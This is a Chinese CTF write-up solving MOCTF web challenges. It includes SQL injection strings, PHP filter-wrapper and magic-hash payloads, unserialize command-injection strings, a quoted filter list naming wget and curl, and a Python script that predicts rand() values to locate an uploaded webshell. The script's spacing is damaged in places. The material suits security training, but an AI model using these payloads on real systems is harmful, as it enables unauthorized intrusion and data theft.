记MOCTF做题
签到
大概是加入Q群,然后拿到flag吧
一道水题
查看源代码,在最下方看到flag
还是水题
post提交password=moctf,看到flag
访问限制
修改两处http头,拿到flag
机器蛇
一个贪吃蛇的网页游戏,看了下前端代码没有看到什么东西。从题目的“机器”可以联想到robots,即尝试访问robots.txt,看到Disallow: /flag327a6c4304ad5938eaf0efb6cc3e53dc.php,访问一下,查看源代码拿到flag
PHP黑魔法
根据提示访问index.php~备份文件,查看源代码看到源码,用的是php处理0e字符串==时候的缺陷,访问index.php?a=QNKCDZO&b=s878926199a,拿到flag
我想要钱
要求字符串长度<=4并且大于time函数生成的时间戳,可以用科学记数法来解决,比如money=9e9,拿到flag
登录就对了
简单的SQL题目,输入用户名为'or 1#,看到登陆成功,查看源代码看到flag
Flag在哪?
脑洞题,点击链接可以看到一共访问了5个php,分别是:flag.php,where_is_the_flag.php,I_have_a_flag.php,I_have_a_frog.php,no_flag.php,然后百度一下提示中所说的歌曲的歌词,结合一下脑洞,访问flagfrog.php,抓包后看到flag
死亡退出
访问后看到源码,关键在于如何不执行exit而执行后面我们输入的函数,解决办法是利用php伪协议来写入文件,传递file=php://filter/write=convert.base64-decode/resource=./tmp.php&c=aPD9waHAgZWNobyhmaWxlX2dldF9jb250ZW50cygiZmxhZy5waHAiKSk7Pz4=,这样一来就会在写入文件的时候先将phpexit和我们传入的字符串一起base64解码,而base64解码会忽视不规范的<? >()这些字符,而且我们传入的a则会与phpexit这7个字符组成两组解码,不会影响后面php代码的解码,最后查看源代码看到flag
文件包含
查看源代码看到flag.php,然后在url上看到文件包含点,访问index.php?file=php://filter/read=convert.base64-encode/resource=flag.php,将拿到的字符串进行解码,看到flag
美味的饼干
在cookie中看到可疑的参数login=ZWUxMWNiYjE5MDUyZTQwYjA3YWFjMGNhMDYwYzIzZWU=,先base64解码,看到一串32的字符串,猜测是MD5加密,在网上搜索解密看看,发现解密结果是user。将”admin“MD5加密后再base64一下,修改cookie再次访问,查看源代码拿到flag
火眼金睛
这道题我能力不足以用肉眼算清moctf出现的次数,那就只能借助脚本的力量了,贴个脚本
拿到flag
简单注入
一道盲注题目,空格被吃掉了就用括号来绕,没有|和or就用and或者^来写,贴个脚本说话好了
需要注意一下的就是flag中含有大小写,所以最后一步用ascii来爆破(PS:脚本中的flag是错误的,有几个字母是大写)
暴跳老板
点击重新发现->发送,然后抓包do.php看到http头的提示:Dear:MyBoss,post提交postText=&Dear=MyBoss,拿到flag
没时间解释了
访问一下,根据提示的302看到有一个302跳转的url,抓包看一下,访问uploadsomething.php,看到一个文件上传点。随便上传点什么,然后看到提示说Flag is here,come on~ http://119.23.73.3:5006/web2/uploads/bef9db3dd05cfcfec68b20818aeb435aea1ead9b/123,访问一下,看到一句too slow!。这道题我的肉体手速达不到题目的要求,无奈之下只能借助脚本的力量了,贴个脚本
unset
访问URL看到源码,后台的处理顺序是:unset->waf->重新赋值->判断,其中判断截断有三个GET参数是必须的:flag,daiker,file,但是在waf阶段,是不允许GET中有flag这个参数的。所以我们需要在unset阶段将GET给unset掉,然后在重新赋值阶段重新给GET赋值
访问http://119.23.73.3:5101/?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php,同时post提交_GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php。unset阶段的时候,$_GET[flag]==我们post提交的$_POST[_GET]这个数组中的flag键的值,会将整个$_GET给unset掉,这就绕过了waf阶段,然后在extract函数下,会将POST中的这几个参数都赋值到GET中去
将获得的base64字符串解码,拿到flag
PUBG
看看网页源代码,看看http包,看看cookie,再看看robots.txt,都没有什么提示。
那就看看有没有备份文件吧,或者扫一下目录也可以,可以发现index.php.bak和class.php.bak两个备份文件,审计一下源码,首先要满足的是$_GET["LandIn"]==“school”,然后我们可以传入一个序列化字符串,通过控制其中的bag和weapon两个成员变量来执行__call函数,再尝试构造命令执行。
首先是__wakeup魔术方法,这个可以用将序列化字符串改错来进行绕过
写个php输出序列化字符串LandIn=school&pubg=O:7:"sheldon":2:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";},然后改错成LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:7:"nothing";s:6:"weapon";s:3:"AWM";}即可绕过__wakeup看到nothing方法输出的You lose
然后是__call魔术方法下的命令执行,首先bag的值要是个不存在的方法名,这个很简单,接下来就是通过拼接字符串来构造payload了
构造O:7:"sheldon":3:{s:3:"bag";s:18:"win.php && cat waf";s:6:"weapon";s:3:"AWM";}序列化字符串,url编码一下,读取waf中的代码,看到过滤函数waf过滤这些字符:'vi','awk','-','sed','comm','diff','grep','cp','mv','nl','less','od','head','tail','more','tac','rm','ls','tailf','%','%0a','%0d','%00','ls','echo','ps','>','<','${IFS}','ifconfig','mkdir','cp','chmod','wget','curl','http','www','`','printf'
读一下当前目录的绝对路径O:7:"sheldon":3:{s:3:"bag";s:24:"win.php && pwd &&php win";s:6:"weapon";s:3:"AWM";},同样url编码,得到当前路径为/app
然后搜索一下O:7:"sheldon":3:{s:3:"bag";s:30:"win.php && find /app &&php win";s:6:"weapon";s:3:"AWM";},看到目标/app/class/flag.php
最后O:7:"sheldon":3:{s:3:"bag";s:44:"win.php && cat /app/class/flag.php &&php win";s:6:"weapon";s:3:"AWM";},查看源代码拿到flag
简单审计
访问后直接看到源码审计一下源码,考点是rand随机数预测,想要详细一点了解的可以Cracking PHP rand(),简单来说就是一句公式state[i] = state[i-3] + state[i-31],虽然结果不会很准确,可能存在+1或者-1的差距。我们只要弄出32位以上的rand随机数,就可以爆破预测接下来的所有随机数,思路是这样的:利用数组绕过waf和后缀名检测先访问6次action=test获取36位随机数,然后再上传webshell,与此同时预测37-42位的随机数,并访问可能存在的webshell脚本
脚本说话
import requests
from socketimport *
import itertools
import hashlib
import threading
mys = requests.session()
url ="http://120.78.57.208:6005"
_url ="http://120.78.57.208:6005/?action="
def get_flag(salt):
# print salt
s = hashlib.sha1('XXX.XXX.XXX.XXX').hexdigest()
url1 = url +'/uploads/' + s +'/' +'moctf' + salt +'.php'
res = mys.get(url1)
# print salt
if '404' not in res.text:
print "the response is " + res.text
def get_code():
bufsize =128
tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.bind(('',8888))
tcpSerSock.listen(5)
rand_num =0
code = []
while True:
tcpCliSock, addr = tcpSerSock.accept()
while True:
data = tcpCliSock.recv(bufsize)[0:6]
# print str(rand_num) + data
# if rand_num < 6:
for xin data:
code.append(str(ord(x) -ord('a')))
if not data:
break
# if rand_num == 6:
# print data
# if not data:
# break
rand_num = rand_num +1
if rand_num ==6:
break
tcpCliSock.close()
tcpSerSock.close()
return code
def get_salt(code):
salt =""
for xin range(6):
if int(code[x +5]) +int(code[x +33]) >25:
salt = salt +chr(int(code[x +5]) +int(code[x +33]) +ord('a') -26)
code.append(str(int(code[x +5]) +int(code[x +33]) -26))
else:
salt = salt +chr(int(code[x +5]) +int(code[x +33]) +ord('a'))
code.append(str(int(code[x +5]) +int(code[x +33])))
return salt
def simple_check():
print "[+] starting..."
for countin range(10):
code = get_code()
print "[+] the " +str(count +1) +" trying"
salt = get_salt(code)
# print salt
o = itertools.product("10",repeat=6)
for xin o:
s ="".join(x)
salt2 =""
for yin range(6):
if ord(salt[y]) +int(s[y]) >122:
salt2 = salt2 +chr(ord(salt[y]) +int(s[y]) -26)
else:
salt2 = salt2 +chr(ord(salt[y]) +int(s[y]))
get_flag(salt2)
o = itertools.product("10",repeat=6)
for xin o:
s ="".join(x)
salt2 =""
for yin range(6):
if ord(salt[y]) -int(s[y]) <97:
salt2 = salt2 +chr(ord(salt[y]) -int(s[y]) +26)
else:
salt2 = salt2 +chr(ord(salt[y]) -int(s[y]))
get_flag(salt2)
print "[-] the " +str(count +1) +" trying ended"
def get_test():
_url1 = _url +"test"
r = mys.get(_url1)
def upload():
data = {"filename[4]":"jpg",
"filename[2]":"jpg",
"filename[1]":"php",
"content[]":""
}
_url1 = _url +"upload"
res = mys.post(_url1,data=data)
def simple_check2():
for countin range(10):
print "[+] " +str(count +1) +" testing..."
for xin range(6):
get_test()
print "[-] " +str(count +1) +" testing ended"
print "[+] " +str(count +1) +" uploading..."
upload()
print "[-] " +str(count +1) +" uploading ended"
c = threading.Thread(target = simple_check)
g = threading.Thread(target = simple_check2)
c.start()
g.start()
c.join()
g.join()
修改webshell的代码,最后读取/app/flag.php,拿到flag